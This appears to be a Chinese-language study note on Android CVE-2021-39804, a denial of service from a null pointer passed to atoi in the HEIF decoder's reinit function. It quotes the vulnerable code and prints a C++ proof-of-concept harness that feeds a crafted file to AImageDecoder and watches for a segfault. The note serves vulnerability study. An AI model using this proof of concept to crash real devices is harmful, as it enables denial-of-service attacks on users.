2023.09.11 补 2023.09.10
CVE-2021-39804 | A-215002587 | DoS | High | 11, 12, 12L |
---|
patch

分析
这个也不难分析,看patch就能看明白。传给atoi的值如果是nullptr,那么就会导致空指针解引用,最后dos。
漏洞发生在reinit函数中。
bool HeifDecoderImpl::reinit(HeifFrameInfo* frameInfo) {
......
mRetriever = new MediaMetadataRetriever();
......
mSequenceLength = atoi(mRetriever->extractMetadata(METADATA_KEY_VIDEO_FRAME_COUNT));
}
PoC
暂时没看明白PoC和漏洞之间的关系
#include "../includes/common.h"
#include <android/imagedecoder.h>
#include <binder/IPCThreadState.h>
#include <vector>
bool testInProgress = false;
struct sigaction new_action, old_action;
void sigsegv_handler(int signum, siginfo_t *info, void *context) {
if (testInProgress && info->si_signo == SIGSEGV) {
(*old_action.sa_sigaction)(signum, info, context);
return;
}
exit(EXIT_FAILURE);
}
int main(int argc, char **argv) {
// 检查命令行参数个数是否大于等于2
FAIL_CHECK(argc >= 2);
sigemptyset(&new_action.sa_mask);
new_action.sa_flags = SA_SIGINFO;
new_action.sa_sigaction = sigsegv_handler;
sigaction(SIGSEGV, &new_action, &old_action);
android::ProcessState::self()->startThreadPool();
// 使用fopen函数打开了命令行参数指定的文件,并使用FAIL_CHECK宏检查文件是否成功打开。如果打开失败,则会终止程序
FILE *file = fopen(argv[1], "r");
FAIL_CHECK(file);
// 将文件指针移动到文件末尾,并使用ftell函数获取文件大小。
// 然后,再次使用fseek函数将文件指针移动到文件开头
fseek(file, 0, SEEK_END);
size_t size = ftell(file);
fseek(file, 0, SEEK_SET);
// 定义了一个std::vector<uint8_t>类型的缓冲区buffer,大小为文件大小
std::vector<uint8_t> buffer(size);
// 使用fread函数从文件中读取数据到缓冲区中
fread((void *)buffer.data(), 1, size, file);
fclose(file);
// 解码测试开始
testInProgress = true;
// 声明了一个指向AImageDecoder类型的指针变量decoder
AImageDecoder *decoder;
// 使用AImageDecoder_createFromBuffer函数将缓冲区的数据传递给解码器,并返回解码结果。
//如果解码成功,则调用AImageDecoder_delete函数释放解码器
if (AImageDecoder_createFromBuffer(buffer.data(), size, &decoder) ==
ANDROID_IMAGE_DECODER_SUCCESS) {
AImageDecoder_delete(decoder);
}
testInProgress = false;
FAIL_CHECK(decoder);
return EXIT_SUCCESS;
}